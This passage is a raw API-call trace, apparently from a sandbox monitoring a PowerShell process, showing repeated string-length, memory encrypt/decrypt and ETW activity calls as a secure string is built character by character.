(param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5") returned 0x28 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5") returned 0x28 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5") returned 0x28 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0135.679] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.679] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1OhA崝⬀嶄Ő䘆뾟鿣") returned 0x30 [0135.680] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\xa5c7\xc75f\x795a\x9426\x48c3\xcf4d\xdedf\x6ad") returned 0x30 [0135.680] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\xa5c7\xc75f\x795a\x9426\x48c3\xcf4d\xdedf\x6ad") returned 0x30 [0135.680] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1OhA0⬀嶄Ő䘆뾟鿣") returned 0x30 [0135.680] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\xda56\x3c81\x9cc2\xdc28\x3ee1\x22ea\xb88e\x1ecd") returned 0x30 [0135.680] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\xda56\x3c81\x9cc2\xdc28\x3ee1\x22ea\xb88e\x1ecd") returned 0x30 [0135.680] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1OhA0Y嶄Ő䘆뾟鿣") returned 0x30 [0135.680] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\xfe1b\xe1cb\x2f52\x5a8a\xeff1\x97d4\xa00\x6ee6") returned 0x30 [0135.680] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xba38\x1cf8\x141c\x5fe4\xe77a\x6a28\x98cc\xdf5\xfe1b\xe1cb\x2f52\x5a8a\xeff1\x97d4\xa00\x6ee6") returned 0x30 [0135.680] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1OhA0Y=Ő䘆뾟鿣") returned 0x30 [0135.680] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0135.680] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.680] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.680] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.681] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.681] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.681] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.681] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.681] SysStringLen (param_1="") returned 0x8 [0135.681] SysStringLen (param_1="Y") returned 0x8 [0135.681] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.681] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.681] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.681] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.681] SysStringLen (param_1="YW") returned 0x8 [0135.681] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.681] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.681] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.681] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.681] SysStringLen (param_1="YWM") returned 0x8 [0135.681] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.681] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.682] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="YWM1") returned 0x8 [0135.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.682] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="YWM1O") returned 0x8 [0135.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.682] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.682] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.682] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.682] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.683] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.683] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.683] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.683] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.683] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.683] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.683] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.683] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.683] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.683] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.683] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.683] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.683] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.683] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.683] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.683] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.683] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.684] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.684] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.684] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.684] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.684] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.684] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.685] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.685] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.685] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.685] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.685] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.685] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.685] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.685] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.685] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.685] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.685] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.686] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.686] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.686] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.686] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.686] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.686] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.686] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.686] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.687] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen 